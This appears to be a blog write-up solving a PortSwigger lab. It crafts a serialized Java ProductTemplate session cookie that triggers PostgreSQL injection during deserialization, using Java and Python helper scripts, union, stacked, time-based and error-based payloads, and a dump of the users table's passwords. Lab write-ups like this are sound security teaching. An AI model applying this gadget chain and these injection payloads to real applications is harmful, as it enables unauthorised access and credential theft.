Solving PortSwigger Lab: Developing a custom gadget chain for Java deserialization
DISCLAIMER
This post is beginner-oriented since I’m not as experienced in this field as I wished, but I want to share what I’ve learnt the past few days, so please keep in mind that errors can appear (and they will). Furthermore, if you see that there’s something wrong, feel totally free to contact me via Twitter or Telegram.
SPOILERS AHEAD
This lab is hosted at PortSwigger. If you feel attracted by this kind of vulnerabilities and have some free time, I encourage you to go and give it a try! Sometimes we learn further by trying rather than by reading.
TL;DR
Following OSWE’s studying content, I came up with the feeling of learning deserialization attacks on different languages. PHP was the first to draw my attention, but it was kind of easier for me, since it appears in lots of CTFs. Then Java appeared, and here we are! almost half a week after I firstly discovered what Java packages were (lol).
In this post, we’ll be soving “Developing a custom gadget chain for Java deserialization” from PortSwigger. In a nutshell, we’ll be creating a custom Java object (following the challenge’s backend) to exploit a simple Error-Based PostgreSQL Injection by casting the administrator’s password to an integer.
Basic Java Serialization/Deserialization
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class POC implements Serializable {
private String data;
public POC(String testData) {
this.data = testData;
}
public String getData() {
return data;
}
public static void Serialize() {
try {
// Object Creation
POC poctest = new POC("This is a POC!");
// Creating output stream and writing the serialized object
FileOutputStream outfile = new FileOutputStream("serialized.object");
ObjectOutputStream outstream = new ObjectOutputStream(outfile);
outstream.writeObject(poctest);
// Closing the stream
outstream.close();
System.out.println("Serialized object saved to serialized.object");
} catch (Exception e) {
System.out.println(e);
}}
public static void Deserialize() {
try{
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialized.object"));
POC poctest = (POC)in.readObject();
// Printing the data of the serialized object
System.out.println("Object's data: " + poctest.data);
// Closing the stream
in.close();
}catch(Exception e){
System.out.println(e);
}
}
public static void main(String args[]) {
POC.Serialize();
POC.Deserialize();
}
}
Used Libraries
// Playing with File Input/Output bytes.
import java.io.FileInputStream;
import java.io.FileOutputStream;
// Playing with Serialization/Deserialization of Input's Object.
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
// Setting the ability to be deserialized.
import java.io.Serializable;
Main class structure
public class POC implements Serializable {
private String data;
public POC(String testData) {
this.data = testData;
}
public String getData() {
return data;
}
This POC
class contains a POC()
function that sets its data variable to the value provided, and another getData()
that will be returning data variable’s value. The last appears because this is a demostration, otherwise it wouldn’t be needed since we just want to edit the variable.
Serializing/Deserializing
This serializing function can belong to the class to-be-deserialized or to the main class. In this POC, as the POC class doesn’t imply any kind of structure, the serializing/deserializing function can be declared inside itself.
- Serializing
public static void Serialize() {
try {
POC poctest = new POC("This is a POC!"); //Instantiation of a new POC-type Object following POC() function
FileOutputStream outfile = new FileOutputStream("serialized.object"); //Creation of the output stream to a file
ObjectOutputStream outstream = new ObjectOutputStream(outfile); //Creation of the Object output stream through the previous output stream.
outstream.writeObject(poctest); //Writting the Object to the file's output stream.
outstream.close(); //Closing the output stream.
System.out.println("Serialized object saved to serialized.object");
} catch (Exception e) { //Catch and print any error/exception.
System.out.println(e);
}}
- Deserializing
public static void Deserialize() {
try {
FileInputStream infile = new FileInputStream("serialized.object"); //Creation of the input stream from a file.
ObjectInputStream instream = new ObjectInputStream(infile); //Deserializing the input stream's object passed.
POC poctest = (POC)instream.readObject(); //Instantiation of previous read object.
System.out.println("Object's data: " + poctest.data);
instream.close(); //Closing the input stream.
} (Exception e){
System.out.println(e);
}}
Testing
$ javac POC.java && java POC
Serialized object saved to serialized.object
Object's data: This is a POC!
hexdump -C serialized.object
00000000 ac ed 00 05 73 72 00 03 50 4f 43 b0 1e cd 0f fa |....sr..POC.....|
00000010 62 1f 9f 02 00 01 4c 00 04 64 61 74 61 74 00 12 |b.....L..datat..|
00000020 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e |Ljava/lang/Strin|
00000030 67 3b 78 70 74 00 0e 54 68 69 73 20 69 73 20 61 |g;xpt..This is a|
00000040 20 50 4f 43 21 | POC!|
00000045
If we wanted to inject other data, we would just have to rewrite the object with the desired data and read it through the Deserialize()
function.
The challenge
This lab uses a serialization-based session mechanism. If you can construct a suitable gadget chain, you can exploit this lab's insecure deserialization to obtain the administrator's password.
To solve the lab, gain access to the source code and use it to construct a gadget chain to obtain the administrator's password. Then, log in as the administrator and delete Carlos's account.
You can access your own account using the following credentials: wiener:peter
We are facing a shop with some products and a login functionality. Using the credentials provided in the description, a new session cookie is generated. This cookie contains a Java Base64-Encoded Object from data.session.token.AccessTokenUsers
.
session=rO0...
�sr"data.session.token.AccessTokenUsers
- ¡! Notice the structure (package data.session.token) - AccessTokenUsers class.
By sending cookie("session=a")
we can see the backend doing something with our session cookie’s value.
Discovering the backend
Reading the source code, a strange comment can be spotted.
<!--/backup/AccessTokenUser.java>Example user-->
AccessTokenUser.java
package data.session.token;
import java.io.Serializable;
public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;
public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}
public String getUsername()
{
return username;
}
public String getAccessToken()
{
return accessToken;
}
}
There we have the class that our cookie object was serialized from. The backend was probably serializing this object with our credentials and then deserializing it in each request. But this has no impact. We could probably impersonate any user, but there’s some type of authentication check, as we don’t know the accessToken the administrator must have.
Later on, I came up with the idea of requesting just /backup/
, and another file appeared.
ProductTemplate.java
package data.productcatalog;
import common.db.ConnectionBuilder;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id)
{
this.id = id;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"password"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}
public String getId()
{
return id;
}
public Product getProduct()
{
return product;
}
}
This class is certainly vulnerable and exploitable, since it is kind of overriding the actual readObject()
method and executing a SQL query with a private variable id set by a public function.
Gadget Development
To make sure everything works out, we must match the structure that the backend is following. A main class would call a package called data.productcatalog.
mkdir data/
mkdir data/productcatalog/
touch data/productcatalog/ProductTemplate.java
touch Main.java
to-be-serialized Class (data/productcatalog/ProductTemplate.java)
package data.productcatalog;
import java.io.Serializable;
public class ProductTemplate implements Serializable {
// Internal Server Error java.io.InvalidClassException: data.productcatalog.ProductTemplate; local class incompatible: stream classdesc serialVersionUID = -1893908778312165970, local class serialVersionUID = 1
static final long serialVersionUID = 1L;
private final String id;
public ProductTemplate(String id){
this.id = id;
}
}
As you can see, this is a minified version of ProductTemplate.java
’s main class, since everything that was not needed has been removed.
- Notice
static final long serialVersionUID = 1L;
- this variable has to be set due to the random generation of a version number each time a class is executed. As we are deserializing the same class, this flag must be set. (This variable is also set in the backend, as you can see inProductTemplate.java
)
Main Class
import data.productcatalog.ProductTemplate; //Importing to-Serialize class
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;
import java.util.Scanner;
class Main {
public static void main(String[] args) throws Exception {
Scanner in = new Scanner(System.in); //Reading stdin
ProductTemplate originalObject = new ProductTemplate(in.nextLine()); //Creating Object with stdin
String serializedObject = serialize(originalObject); //Getting serialized object
System.out.println(serializedObject); //Printing serialized object
}
public static String serialize(Serializable ser) throws Exception { //https://stackoverflow.com/questions/134492/how-to-serialize-an-object-into-a-string
ByteArrayOutputStream baos = new ByteArrayOutputStream(512); //Creating (ByteArray) Output Stream
ObjectOutputStream oos = new ObjectOutputStream(baos); //Creating (Object) Output Stream
oos.writeObject(ser); //Write Binary Object
return Base64.getEncoder().encodeToString(baos.toByteArray()); //Base64-Encoding Object
}
}
Testing
Before starting our testing stage, I usually code a little pseudo-shell to quickly communicate with the server and read the responses.
import requests as r
import os
session = "your-session"
url = f"https://{session}.web-security-academy.net/"
while True:
os.popen("rm Main.class 2>/dev/null") # Remove previous class to avoid Java overhuman errors.
payload = input("SELECT * FROM products WHERE id = '").replace('"', "'").rstrip() # Replace " to avoid error with echo formatting.
base64_object = os.popen("""javac Main.java && echo "%s" | java Main""" % payload).read().rstrip() # Read Base64-Encoded Object.
cookies = {
"session": base64_object
}
req = r.get(url, cookies=cookies)
print(req.text)
- Special mention to my teammates, specially @danielcues, who helped me solving an error in Java and it actually was me forgetting to format the line calling Java with the payload.
os.popen("""javac Main.java && echo "%s" | java Main""" % payload)
(Sorry for being so dumb lol)
Let’s try sending some random values and analysing the responses.
SELECT * FROM products WHERE id = '1'--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader 'app')</p>
SELECT * FROM products WHERE id = '1'
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near "'1'' LIMIT 1" Position: 35</p>
SELECT * FROM products WHERE id = '1' OR 1=1--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader 'app')</p>
SELECT * FROM products WHERE id = '1' OR 1=2--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader 'app')</p>
Thanks to the output, we can now know that a boolean
injection is impossible, therefore we will be exploiting an error-based
injection.
Displayed when the query causes no error:
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader 'app')</p>
Displayed when an error occurs:
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: error-here Position: X</p>
Table discovery
Since the query we already know String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
doesn’t hardcode the columns it will be returning, we will have to, at least, enumerate the amount of them.
SELECT * FROM products WHERE id = '' UNION SELECT 1--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: each UNION query must have the same number of columns. Position: 51</p>
This error will appear everytime we don’t specify the same amount of columns in the second UNION query
.
SELECT * FROM products WHERE id = '' UNION SELECT 1,2--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: each UNION query must have the same number of columns. Position: 51</p>
...
SELECT * FROM products WHERE id = '' UNION SELECT 1,2,3,4,5,6,7,8--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 51</p>
There we go, when the second query returns 8 columns, the error changes. According to the error, we are facing a UNION type mismatch, since there’s at least one column in the first query that is a string.
To propperly continue, let’s enumerate the amount of columns that are returning a string instead of an integer.
SELECT * FROM products WHERE id = '' UNION SELECT '1',2,3,4,5,6,7,8--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 55</p>
SELECT * FROM products WHERE id = '' UNION SELECT '1','2',3,4,5,6,7,8--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 59</p>
SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,6,7,8--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR:
UNION types character varying and integer cannot be matched. Position: 67</p>
SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3','4',5,6,7,8--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 69</p>
SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3','4','5',6,7,8--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 71</p>
SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3','4','5','6',7,8--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR:
UNION types character varying and integer cannot be matched. Position: 77</p>
SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3','4','5','6','7',8--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 79</p>
SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3','4','5','6','7','8'--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader 'app')</p>
It seems that all of them are returning strings, but there’s a strange behaviour we should look at…
Strange columns' behaviour
Notice the great change in the error’s position between SELECT * FROM products WHERE id = '' UNION SELECT '1','2',3,4,5,6,7,8--
and SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,6,7,8--
. The position goes from 59 to 67, and it stands for a change from having an error in the third column
to having the same in the sixth
one. Do you know why this happen? Let’s dig into it.
It seems that only columns 4 and 5 are integers:
SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,6,'7','8'--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: UNION types character varying and integer cannot be matched. Position: 67</p>
SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,'6','7','8'--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader 'app')</p>
But the same happens on position 77
, it seems that the seventh column also returns an integer.
SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,'6','7','8'--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader 'app')</p>
So then, why SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,'6','7','8'--
and SELECT * FROM products WHERE id = '' UNION SELECT '1','2','3',4,5,'6',7,'8'--
doesn’t return any errors?
It seems that, when the engine identifies a conflict happens, it tries to cast the provided value to the type of the column it is trying to fetch. Later on, we will be doing the same to leak the column’s values.
Veryifying our suspicions
SELECT * FROM products WHERE id = '' UNION SELECT 'a','b','c','d','e','f','g','h'--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for integer: "d" Position: 63</p>
This time, the engine has casted the the string ’d' to an integer, since it is not an integer, the query returns an error.
SELECT * FROM products WHERE id = '' UNION SELECT 'a','b','c','1','e','f','g','h'--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for integer: "e" Position: 67</p>
In this query we have verified two things.
- Provided value ‘
1
’ has been casted to int(1) and doesn’t return an error. - Again, the engine has casted the string ‘
e
’ to an integer and returns an error.
SELECT * FROM products WHERE id = '' UNION SELECT 'a','b','c','1','2','f','g','h'--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for integer: "g" Position: 75</p>
SELECT * FROM products WHERE id = '' UNION SELECT 'a','b','c','1','2','f','3','h'--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>class data.productcatalog.ProductTemplate cannot be cast to class data.session.token.AccessTokenUser (data.productcatalog.ProductTemplate and data.session.token.AccessTokenUser are in unnamed module of loader 'app')</p>
Dumping Preparation
So let’s enumerate the different ways to exploit this injection:
- Adding
print(req.elapsed.total_seconds())
let us know the time elapsed in the request.
Are stacked queries allowed?
SELECT * FROM products WHERE id = ''; SELECT 1;--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: Multiple ResultSets were returned by the query.</p>
Even though there’s not output neither, the query gets executed as it can be seen here:
SELECT * FROM products WHERE id = ''; SELECT pg_sleep(10);--
Elapsed: 10.273399
This allow us to exploit this injection in a huge amount of ways except boolean-based
.
Stacked-TimeBased
(Like)
SELECT * FROM products WHERE id = ''; QUERY WHERE COLUMN LIKE '%' AND (SELECT 1 FROM pg_sleep(10))=1;
Elapsed: 10.273399
Time-Based
(Like)
SELECT * FROM products WHERE id = '' AND (SELECT '1') LIKE '1' AND (SELECT 1 FROM pg_sleep(10))=1;
Error-Based
SELECT * FROM products WHERE id = '' UNION SELECT '','','',(SELECT 'whatever')::int,1,'',1,''--
<p class=is-warning>Internal Server Error</p>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for integer: "whatever"</p>
In both first, ASCII(SUBSTR())
can be used too, and in the last one, the selected value would be printed in the error.
So on, we will be using the error-based method, since it is the easiest and fastest
one. Before digging in the data dumping, let’s automate everything for us just to type the query and get the returned result.
import requests
import os
import re
session = "your-session"
url = f"https://{session}.web-security-academy.net/"
while True:
os.popen("rm Main.class 2>/dev/null")
query = input("SQL> ").replace('"', "'").rstrip()
payload = f"' UNION SELECT '','','',({query})::int,1,'',1,''--"
base64_object = os.popen("""javac Main.java ; echo "%s" | java Main""" % payload).read().rstrip()
cookies = {
"session": base64_object
}
req = requests.get(url, cookies=cookies)
try:
print(re.search("".*"", req.text).group().replace(""",""))
except:
print(req.text)
print("Nothing found")
Database names discovery
SQL> SELECT string_agg(datname, ', ') FROM pg_database
postgres, template1, template0
Table name discovery
SQL> SELECT string_agg(tablename, ', ') FROM pg_tables WHERE schemaname='postgres'
Nothing found
It seems the query is not working, lets try avoiding WHERE
statement.
SQL> SELECT string_agg(tablename, ', ') FROM pg_tables LIMIT 1
users, products, pg_statistic, pg_foreign_table, pg_authid, pg_user_mapping, pg_subscription, pg_largeobject, pg_type, pg_attribute, pg_proc, pg_class, pg_attrdef, pg_constraint, pg_inherits, pg_index, pg_operator, pg_opfamily, pg_opclass, pg_am, pg_amop, pg_amproc, pg_language, pg_largeobject_metadata, pg_aggregate, pg_statistic_ext, pg_rewrite, pg_trigger, pg_event_trigger, pg_description, pg_cast, pg_enum, pg_namespace, pg_conversion, pg_depend, pg_database, pg_db_role_setting, pg_tablespace, pg_pltemplate, pg_auth_members, pg_shdepend, pg_shdescription, pg_ts_config, pg_ts_config_map, pg_ts_dict, pg_ts_parser, pg_ts_template, pg_extension, pg_foreign_data_wrapper, pg_foreign_server, pg_policy, pg_replication_origin, pg_default_acl, pg_init_privs, pg_seclabel, pg_shseclabel, pg_collation, pg_partitioned_table, pg_range, pg_transform, pg_sequence, pg_publication, pg_publication_rel, pg_subscription_rel, sql_features, sql_implementation_info, sql_languages, sql_packages, sql_parts, sql_sizing, sql_sizing_profiles
There we go, it seems the first database was ‘postgres’, and there’s a very interesting table called ‘users
’, let’s dig in!
Column name discovery
SQL> SELECT string_agg(column_name, ', ') FROM information_schema.columns WHERE table_name = 'users'
username, password
There we have! According to the challenge’s description, we must sign up as the administrator and delete Carlos' account. Let’s dump the values.
Users table dump
SQL> SELECT string_agg(' Username: ', username) FROM users
Username: carlos Username: wiener
SQL> SELECT string_agg(' Password: ', password) FROM users
Password: czcj2c2n6oylpn3411w9 Password: peter
We got it, we managed to dump the credentials for signing up as the administrator and delete Carlos' account.
The End
I hope you liked the writeup and hopefully learnt something new!